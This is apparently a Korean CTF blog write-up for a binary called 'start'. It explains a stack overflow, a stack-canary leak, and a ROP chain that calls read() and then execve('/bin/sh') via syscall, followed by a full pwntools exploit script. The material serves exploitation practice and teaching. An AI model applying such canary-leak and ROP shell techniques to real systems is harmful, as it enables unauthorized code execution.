# checksec / file
# process
V4+SFP 크기는 0x20인데 217 바이트 입력할 수 있어서 overflow 취약점 발생
1) ROP gadget 찾기
2) canary leak
Buf(0x18) + ‘B’
p.recvuntil(‘B’) => 하위 바이트가 null byte라서 상관없다.
canary = “\x00” + p.recv(7)
*주의 : send로 개행문자 없이 보내야 canary가 제대로 leak된다.
3) read(0, bss, len(binsh))
- ROP
- 입력 시 "/bin/sh" 입력한다.
bss : 0x6cdb60
read : 0x440300
(stripped되어있어서 read 주소를 찾아야 했다.)
4) execve(bss, NULL, NULL)
- syscall로 execve를 호출해서 "/bin/sh"을 실행한다.
execve syscall id : 0x3b
rbx : 0
rax : 0x3b
rdx : 0
rsi : 0
rdi : bss
5) payload 전달 후 exit을 해서 "/bin/sh" 전달이 read에서 입력받는 것으로 하지 않게 한다.
# exploit code
#!/usr/bin/python
from pwn import *
p = process("./start")
elf = ELF("./start")
pop_rdi = 0x4005d5
pop_rsi = 0x4017f7
pop_rdx = 0x443776
pop_rax_rdx_rbx = 0x47a6e6
binsh = "/bin/sh\x00"
syscall = 0x4003fc
read = 0x440300
bss = elf.bss()
# canary leak
pay = 'A'*0x18
pay += 'B'
p.send(pay)
p.recvuntil('B')
canary = u64("\x00" + p.recv(7))
# read(0, bss, len(binsh))
pay = 'A'*0x18
pay += p64(canary)
pay += p64(0) # SFP
pay += p64(pop_rdi) + p64(0)
pay += p64(pop_rsi) + p64(bss)
pay += p64(pop_rdx) + p64(len(binsh))
pay += p64(read)
# execve("/bin/sh", NULL, NULL)
pay += p64(pop_rax_rdx_rbx) + p64(0x3b) + p64(0) + p64(0)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdi) + p64(bss)
pay += p64(syscall)
p.send(pay)
p.sendline("exit")
p.send(binsh)
p.interactive()
# exploit
[ROP Emporium] ret2win (32bit, 64bit) (0) | 2020.03.25 |
---|---|
[DEFCON 2016 prequals] feed me (sysrop) (0) | 2020.03.09 |
[DEFCON CTF prequals 2019] speedrun-009 (0) | 2020.02.28 |
[33c3 CTF] babyfengshui (Heap Feng Shui) (0) | 2020.02.28 |
baby_heap_1 (unsorted bin attack) (0) | 2020.02.28 |